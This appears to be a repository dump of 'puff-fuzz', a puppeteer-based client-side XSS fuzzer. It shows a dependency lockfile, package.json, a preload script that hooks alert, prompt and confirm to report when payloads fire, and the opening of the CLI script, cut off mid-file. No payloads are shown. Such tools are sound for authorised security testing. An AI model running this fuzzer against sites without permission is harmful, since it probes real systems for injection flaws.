"https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", 251 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" 252 | }, 253 | "node_modules/once": { 254 | "version": "1.4.0", 255 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", 256 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", 257 | "dependencies": { 258 | "wrappy": "1" 259 | } 260 | }, 261 | "node_modules/path-is-absolute": { 262 | "version": "1.0.1", 263 | "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", 264 | "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", 265 | "engines": { 266 | "node": ">=0.10.0" 267 | } 268 | }, 269 | "node_modules/pend": { 270 | "version": "1.2.0", 271 | "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", 272 | "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=" 273 | }, 274 | "node_modules/progress": { 275 | "version": "2.0.3", 276 | "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", 277 | "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", 278 | "engines": { 279 | "node": ">=0.4.0" 280 | } 281 | }, 282 | "node_modules/proxy-from-env": { 283 | "version": "1.1.0", 284 | "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", 285 | "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" 286 | }, 287 | "node_modules/pump": { 288 | "version": "3.0.0", 289 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", 290 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", 291 | "dependencies": { 292 | "end-of-stream": "^1.1.0", 293 | "once": "^1.3.1" 294 | } 295 | }, 296 | "node_modules/puppeteer": { 297 | "version": "3.0.4", 298 | "resolved": "https://registry.npmjs.org/puppeteer/-/puppeteer-3.0.4.tgz", 299 | "integrity": "sha512-1QEb4tJXXbNId7WSHlcDkS3B4GklTIebKn8Y9D6B7tAdUjQncb+8QlTjbQsAgGX5dhRG32Qycuk5XKzJgLs0sg==", 300 | "deprecated": "< 19.4.0 is no longer supported", 301 | "hasInstallScript": true, 302 | "dependencies": { 303 | "debug": "^4.1.0", 304 | "extract-zip": "^2.0.0", 305 | "https-proxy-agent": "^4.0.0", 306 | "mime": "^2.0.3", 307 | "progress": "^2.0.1", 308 | "proxy-from-env": "^1.0.0", 309 | "rimraf": "^3.0.2", 310 | "tar-fs": "^2.0.0", 311 | "unbzip2-stream": "^1.3.3", 312 | "ws": "^7.2.3" 313 | }, 314 | "engines": { 315 | "node": ">=10.18.1" 316 | } 317 | }, 318 | "node_modules/readable-stream": { 319 | "version": "3.6.0", 320 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", 321 | "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", 322 | "dependencies": { 323 | "inherits": "^2.0.3", 324 | "string_decoder": "^1.1.1", 325 | "util-deprecate": "^1.0.1" 326 | }, 327 | "engines": { 328 | "node": ">= 6" 329 | } 330 | }, 331 | "node_modules/rimraf": { 332 | "version": "3.0.2", 333 | "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", 334 | "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", 335 | "dependencies": { 336 | "glob": "^7.1.3" 337 | }, 338 | "bin": { 339 | "rimraf": "bin.js" 340 | }, 341 | "funding": { 342 | "url": "https://github.com/sponsors/isaacs" 343 | } 344 | }, 345 | "node_modules/safe-buffer": { 346 | "version": "5.2.1", 347 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 348 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", 349 | "funding": [ 350 | { 351 | "type": "github", 352 | "url": "https://github.com/sponsors/feross" 353 | }, 354 | { 355 | "type": "patreon", 356 | "url": "https://www.patreon.com/feross" 357 | }, 358 | { 359 | "type": "consulting", 360 | "url": "https://feross.org/support" 361 | } 362 | ] 363 | }, 364 | "node_modules/string_decoder": { 365 | "version": "1.3.0", 366 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", 367 | "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", 368 | "dependencies": { 369 | "safe-buffer": "~5.2.0" 370 | } 371 | }, 372 | "node_modules/tar-fs": { 373 | "version": "2.1.0", 374 | "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.0.tgz", 375 | "integrity": "sha512-9uW5iDvrIMCVpvasdFHW0wJPez0K4JnMZtsuIeDI7HyMGJNxmDZDOCQROr7lXyS+iL/QMpj07qcjGYTSdRFXUg==", 376 | "dependencies": { 377 | "chownr": "^1.1.1", 378 | "mkdirp-classic": "^0.5.2", 379 | "pump": "^3.0.0", 380 | "tar-stream": "^2.0.0" 381 | } 382 | }, 383 | "node_modules/tar-stream": { 384 | "version": "2.1.2", 385 | "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.1.2.tgz", 386 | "integrity": "sha512-UaF6FoJ32WqALZGOIAApXx+OdxhekNMChu6axLJR85zMMjXKWFGjbIRe+J6P4UnRGg9rAwWvbTT0oI7hD/Un7Q==", 387 | "dependencies": { 388 | "bl": "^4.0.1", 389 | "end-of-stream": "^1.4.1", 390 | "fs-constants": "^1.0.0", 391 | "inherits": "^2.0.3", 392 | "readable-stream": "^3.1.1" 393 | } 394 | }, 395 | "node_modules/through": { 396 | "version": "2.3.8", 397 | "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", 398 | "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" 399 | }, 400 | "node_modules/unbzip2-stream": { 401 | "version": "1.4.2", 402 | "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.2.tgz", 403 | "integrity": "sha512-pZMVAofMrrHX6Ik39hCk470kulCbmZ2SWfQLPmTWqfJV/oUm0gn1CblvHdUu4+54Je6Jq34x8kY6XjTy6dMkOg==", 404 | "dependencies": { 405 | "buffer": "^5.2.1", 406 | "through": "^2.3.8" 407 | } 408 | }, 409 | "node_modules/util-deprecate": { 410 | "version": "1.0.2", 411 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", 412 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" 413 | }, 414 | "node_modules/wrappy": { 415 | "version": "1.0.2", 416 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", 417 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" 418 | }, 419 | "node_modules/ws": { 420 | "version": "7.3.0", 421 | "resolved": "https://registry.npmjs.org/ws/-/ws-7.3.0.tgz", 422 | "integrity": "sha512-iFtXzngZVXPGgpTlP1rBqsUK82p9tKqsWRPg5L56egiljujJT3vGAYnHANvFxBieXrTFavhzhxW52jnaWV+w2w==", 423 | "engines": { 424 | "node": ">=8.3.0" 425 | }, 426 | "peerDependencies": { 427 | "bufferutil": "^4.0.1", 428 | "utf-8-validate": "^5.0.2" 429 | }, 430 | "peerDependenciesMeta": { 431 | "bufferutil": { 432 | "optional": true 433 | }, 434 | "utf-8-validate": { 435 | "optional": true 436 | } 437 | } 438 | }, 439 | "node_modules/yauzl": { 440 | "version": "2.10.0", 441 | "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", 442 | "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", 443 | "dependencies": { 444 | "buffer-crc32": "~0.2.3", 445 | "fd-slicer": "~1.1.0" 446 | } 447 | } 448 | }, 449 | "dependencies": { 450 | "@types/node": { 451 | "version": "14.0.1", 452 | "resolved": "https://registry.npmjs.org/@types/node/-/node-14.0.1.tgz", 453 | "integrity": "sha512-FAYBGwC+W6F9+huFIDtn43cpy7+SzG+atzRiTfdp3inUKL2hXnd4rG8hylJLIh4+hqrQy1P17kvJByE/z825hA==", 454 | "optional": true 455 | }, 456 | "@types/yauzl": { 457 | "version": "2.9.1", 458 | "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.9.1.tgz", 459 | "integrity": "sha512-A1b8SU4D10uoPjwb0lnHmmu8wZhR9d+9o2PKBQT2jU5YPTKsxac6M2qGAdY7VcL+dHHhARVUDmeg0rOrcd9EjA==", 460 | "optional": true, 461 | "requires": { 462 | "@types/node": "*" 463 | } 464 | }, 465 | "agent-base": { 466 | "version": "5.1.1", 467 | "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-5.1.1.tgz", 468 | "integrity": "sha512-TMeqbNl2fMW0nMjTEPOwe3J/PRFP4vqeoNuQMG0HlMrtm5QxKqdvAkZ1pRBQ/ulIyDD5Yq0nJ7YbdD8ey0TO3g==" 469 | }, 470 | "balanced-match": { 471 | "version": "1.0.0", 472 | "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", 473 | "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" 474 | }, 475 | "base64-js": { 476 | "version": "1.3.1", 477 | "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.1.tgz", 478 | "integrity": "sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g==" 479 | }, 480 | "bl": { 481 | "version": "4.0.2", 482 | "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.2.tgz", 483 | "integrity": "sha512-j4OH8f6Qg2bGuWfRiltT2HYGx0e1QcBTrK9KAHNMwMZdQnDZFk0ZSYIpADjYCB3U12nicC5tVJwSIhwOWjb4RQ==", 484 | "requires": { 485 | "buffer": "^5.5.0", 486 | "inherits": "^2.0.4", 487 | "readable-stream": "^3.4.0" 488 | } 489 | }, 490 | "brace-expansion": { 491 | "version": "1.1.11", 492 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", 493 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", 494 | "requires": { 495 | "balanced-match": "^1.0.0", 496 | "concat-map": "0.0.1" 497 | } 498 | }, 499 | "buffer": { 500 | "version": "5.6.0", 501 | "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", 502 | "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", 503 | "requires": { 504 | "base64-js": "^1.0.2", 505 | "ieee754": "^1.1.4" 506 | } 507 | }, 508 | "buffer-crc32": { 509 | "version": "0.2.13", 510 | "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", 511 | "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=" 512 | }, 513 | "chownr": { 514 | "version": "1.1.4", 515 | "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", 516 | "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" 517 | }, 518 | "commander": { 519 | "version": "5.1.0", 520 | "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", 521 | "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==" 522 | }, 523 | "concat-map": { 524 | "version": "0.0.1", 525 | "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", 526 | "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" 527 | }, 528 | "debug": { 529 | "version": "4.1.1", 530 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", 531 | "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", 532 | "requires": { 533 | "ms": "^2.1.1" 534 | } 535 | }, 536 | "end-of-stream": { 537 | "version": "1.4.4", 538 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", 539 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", 540 | "requires": { 541 | "once": "^1.4.0" 542 | } 543 | }, 544 | "extract-zip": { 545 | "version": "2.0.0", 546 | "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.0.tgz", 547 | "integrity": "sha512-i42GQ498yibjdvIhivUsRslx608whtGoFIhF26Z7O4MYncBxp8CwalOs1lnHy21A9sIohWO2+uiE4SRtC9JXDg==", 548 | "requires": { 549 | "@types/yauzl": "^2.9.1", 550 | "debug": "^4.1.1", 551 | "get-stream": "^5.1.0", 552 | "yauzl": "^2.10.0" 553 | } 554 | }, 555 | "fd-slicer": { 556 | "version": "1.1.0", 557 | "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", 558 | "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", 559 | "requires": { 560 | "pend": "~1.2.0" 561 | } 562 | }, 563 | "fs-constants": { 564 | "version": "1.0.0", 565 | "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", 566 | "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" 567 | }, 568 | "fs.realpath": { 569 | "version": "1.0.0", 570 | "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", 571 | "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" 572 | }, 573 | "get-stream": { 574 | "version": "5.1.0", 575 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.1.0.tgz", 576 | "integrity": "sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==", 577 | "requires": { 578 | "pump": "^3.0.0" 579 | } 580 | }, 581 | "glob": { 582 | "version": "7.1.6", 583 | "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", 584 | "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", 585 | "requires": { 586 | "fs.realpath": "^1.0.0", 587 | "inflight": "^1.0.4", 588 | "inherits": "2", 589 | "minimatch": "^3.0.4", 590 | "once": "^1.3.0", 591 | "path-is-absolute": "^1.0.0" 592 | } 593 | }, 594 | "https-proxy-agent": { 595 | "version": "4.0.0", 596 | "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-4.0.0.tgz", 597 | "integrity": "sha512-zoDhWrkR3of1l9QAL8/scJZyLu8j/gBkcwcaQOZh7Gyh/+uJQzGVETdgT30akuwkpL8HTRfssqI3BZuV18teDg==", 598 | "requires": { 599 | "agent-base": "5", 600 | "debug": "4" 601 | } 602 | }, 603 | "ieee754": { 604 | "version": "1.1.13", 605 | "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz", 606 | "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==" 607 | }, 608 | "inflight": { 609 | "version": "1.0.6", 610 | "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", 611 | "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", 612 | "requires": { 613 | "once": "^1.3.0", 614 | "wrappy": "1" 615 | } 616 | }, 617 | "inherits": { 618 | "version": "2.0.4", 619 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 620 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" 621 | }, 622 | "mime": { 623 | "version": "2.4.5", 624 | "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.5.tgz", 625 | "integrity": "sha512-3hQhEUF027BuxZjQA3s7rIv/7VCQPa27hN9u9g87sEkWaKwQPuXOkVKtOeiyUrnWqTDiOs8Ed2rwg733mB0R5w==" 626 | }, 627 | "minimatch": { 628 | "version": "3.0.4", 629 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", 630 | "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", 631 | "requires": { 632 | "brace-expansion": "^1.1.7" 633 | } 634 | }, 635 | "mkdirp-classic": { 636 | "version": "0.5.3", 637 | "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", 638 | "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" 639 | }, 640 | "ms": { 641 | "version": "2.1.2", 642 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", 643 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" 644 | }, 645 | "once": { 646 | "version": "1.4.0", 647 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", 648 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", 649 | "requires": { 650 | "wrappy": "1" 651 | } 652 | }, 653 | "path-is-absolute": { 654 | "version": "1.0.1", 655 | "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", 656 | "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" 657 | }, 658 | "pend": { 659 | "version": "1.2.0", 660 | "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", 661 | "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=" 662 | }, 663 | "progress": { 664 | "version": "2.0.3", 665 | "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", 666 | "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==" 667 | }, 668 | "proxy-from-env": { 669 | "version": "1.1.0", 670 | "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", 671 | "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" 672 | }, 673 | "pump": { 674 | "version": "3.0.0", 675 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", 676 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", 677 | "requires": { 678 | "end-of-stream": "^1.1.0", 679 | "once": "^1.3.1" 680 | } 681 | }, 682 | "puppeteer": { 683 | "version": "3.0.4", 684 | "resolved": "https://registry.npmjs.org/puppeteer/-/puppeteer-3.0.4.tgz", 685 | "integrity": "sha512-1QEb4tJXXbNId7WSHlcDkS3B4GklTIebKn8Y9D6B7tAdUjQncb+8QlTjbQsAgGX5dhRG32Qycuk5XKzJgLs0sg==", 686 | "requires": { 687 | "debug": "^4.1.0", 688 | "extract-zip": "^2.0.0", 689 | "https-proxy-agent": "^4.0.0", 690 | "mime": "^2.0.3", 691 | "progress": "^2.0.1", 692 | "proxy-from-env": "^1.0.0", 693 | "rimraf": "^3.0.2", 694 | "tar-fs": "^2.0.0", 695 | "unbzip2-stream": "^1.3.3", 696 | "ws": "^7.2.3" 697 | } 698 | }, 699 | "readable-stream": { 700 | "version": "3.6.0", 701 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", 702 | "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", 703 | "requires": { 704 | "inherits": "^2.0.3", 705 | "string_decoder": "^1.1.1", 706 | "util-deprecate": "^1.0.1" 707 | } 708 | }, 709 | "rimraf": { 710 | "version": "3.0.2", 711 | "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", 712 | "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", 713 | "requires": { 714 | "glob": "^7.1.3" 715 | } 716 | }, 717 | "safe-buffer": { 718 | "version": "5.2.1", 719 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 720 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" 721 | }, 722 | "string_decoder": { 723 | "version": "1.3.0", 724 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", 725 | "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", 726 | "requires": { 727 | "safe-buffer": "~5.2.0" 728 | } 729 | }, 730 | "tar-fs": { 731 | "version": "2.1.0", 732 | "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.0.tgz", 733 | "integrity": "sha512-9uW5iDvrIMCVpvasdFHW0wJPez0K4JnMZtsuIeDI7HyMGJNxmDZDOCQROr7lXyS+iL/QMpj07qcjGYTSdRFXUg==", 734 | "requires": { 735 | "chownr": "^1.1.1", 736 | "mkdirp-classic": "^0.5.2", 737 | "pump": "^3.0.0", 738 | "tar-stream": "^2.0.0" 739 | } 740 | }, 741 | "tar-stream": { 742 | "version": "2.1.2", 743 | "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.1.2.tgz", 744 | "integrity": "sha512-UaF6FoJ32WqALZGOIAApXx+OdxhekNMChu6axLJR85zMMjXKWFGjbIRe+J6P4UnRGg9rAwWvbTT0oI7hD/Un7Q==", 745 | "requires": { 746 | "bl": "^4.0.1", 747 | "end-of-stream": "^1.4.1", 748 | "fs-constants": "^1.0.0", 749 | "inherits": "^2.0.3", 750 | "readable-stream": "^3.1.1" 751 | } 752 | }, 753 | "through": { 754 | "version": "2.3.8", 755 | "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", 756 | "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" 757 | }, 758 | "unbzip2-stream": { 759 | "version": "1.4.2", 760 | "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.2.tgz", 761 | "integrity": "sha512-pZMVAofMrrHX6Ik39hCk470kulCbmZ2SWfQLPmTWqfJV/oUm0gn1CblvHdUu4+54Je6Jq34x8kY6XjTy6dMkOg==", 762 | "requires": { 763 | "buffer": "^5.2.1", 764 | "through": "^2.3.8" 765 | } 766 | }, 767 | "util-deprecate": { 768 | "version": "1.0.2", 769 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", 770 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" 771 | }, 772 | "wrappy": { 773 | "version": "1.0.2", 774 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", 775 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" 776 | }, 777 | "ws": { 778 | "version": "7.3.0", 779 | "resolved": "https://registry.npmjs.org/ws/-/ws-7.3.0.tgz", 780 | "integrity": "sha512-iFtXzngZVXPGgpTlP1rBqsUK82p9tKqsWRPg5L56egiljujJT3vGAYnHANvFxBieXrTFavhzhxW52jnaWV+w2w==", 781 | "requires": {} 782 | }, 783 | "yauzl": { 784 | "version": "2.10.0", 785 | "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", 786 | "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", 787 | "requires": { 788 | "buffer-crc32": "~0.2.3", 789 | "fd-slicer": "~1.1.0" 790 | } 791 | } 792 | } 793 | } 794 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "puff-fuzz", 3 | "version": "0.1.2", 4 | "description": "Simple Clientside vulnerability/xss fuzzer", 5 | "main": "puff.js", 6 | "repository": "https://github.com/FlameOfIgnis/puff", 7 | "scripts": { 8 | "test": "echo \"Error: no test specified\" && exit 1" 9 | }, 10 | "keywords": [ 11 | "puff", 12 | "fuzz", 13 | "fuzzing", 14 | "tool", 15 | "security" 16 | ], 17 | "author": "Ata \"Ignis\" Hakçıl", 18 | "license": "ISC", 19 | "dependencies": { 20 | "commander": "^5.1.0", 21 | "puppeteer": "^3.0.4" 22 | }, 23 | "bin": { 24 | "puff": "puff.js" 25 | }, 26 | "pkg": { 27 | "scripts": "preload.js" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /preload.js: -------------------------------------------------------------------------------- 1 | alert = function(a=0){ 2 | xssCallback(window.location.href) 3 | } 4 | 5 | origin = window.location.href 6 | 7 | window.addEventListener("unload", function (event) { 8 | //Catch js redirects 9 | jsRedirectCallback(window.location.href) 10 | }); 11 | prompt = alert 12 | confirm = alert 13 | puff = alert -------------------------------------------------------------------------------- /pretty.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | module.exports = { 5 | /* 6 | * Pretty output colors 7 | */ 8 | fail: "[\033[91m+\033[0m]", 9 | succ: "[\033[92m+\033[0m]", 10 | warn: "[\033[93m+\033[0m]", 11 | info: "[\033[94m+\033[0m]", 12 | gstart: "\033[92m", 13 | bstart: "\033[94m", 14 | ystart: "\033[93m", 15 | rstart: "\033[91m", 16 | colstop:"\033[0m" 17 | } -------------------------------------------------------------------------------- /puff.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | 4 | // dependecies 5 | const puppeteer = require('puppeteer'); 6 | const { program } = require('commander'); 7 | const fs = require('fs') 8 | const path = require('path') 9 | const readline = require('readline') 10 | 11 | //config wizard and io handlers 12 | const {setChromePath,resolveChromiumPath} = require('./configwiz.js') 13 | const {OutputHandler} = require('./io.js') 14 | outputHandler = new OutputHandler(program.demo, program.outputAll) 15 | 16 | // page callbacks and pretty output headers 17 | const {TriggerHandler} = require('./callbacks.js') 18 | cbHandler = new TriggerHandler(outputHandler) 19 | const {fail,succ,warn,info,gstart,bstart,ystart,rstart,colstop} = require('./pretty.js') 20 | 21 | // graceful termination 22 | const {Terminator} = require('./terminator.js') 23 | var terminator = new Terminator(process, program); 24 | 25 | // threading 26 | const {ThreadHandler} = require('./threading.js') 27 | 28 | ///////////////////////////////////////// 29 | //SET CLI PARAMETERS 30 | program 31 | .option('-w, --wordlist ', '[required] wordlist to use') 32 | .option('-u, --url ', '[required] url to fuzz') 33 | .option('-t, --threads ', 'threads to run', 5) 34 | .option('-v, --verbose', 'verbosity') 35 | .option('-o, --output ', 'output filename') 36 | .option('-d, --demo', 'Demo mode, hides url\'s in output, and clears terminal when run (to hide url in cli)') 37 | .option('-s, --status', 'Show requests with unusual response codes') 38 | .option('-oA, --outputAll', 'Output all the responses') 39 | .option('-k, --ignoreSSL', 'Ignore ssl errors') 40 | .option('-c, --chromePath ', 'Set chromium path permenantly') 41 | program.parse(process.argv); 42 | 43 | //parse cli params to variables 44 | var verbose = program.verbose || false 45 | var wordlist=program.wordlist 46 | var workerCount=program.threads 47 | var browser = false 48 | var sslIgnore = program.ignoreSSL|| false 49 | var threads = [] 50 | 51 | 52 | 53 | 54 | //if -c is passed, set new chrome path 55 | if(program.chromePath){ 56 | 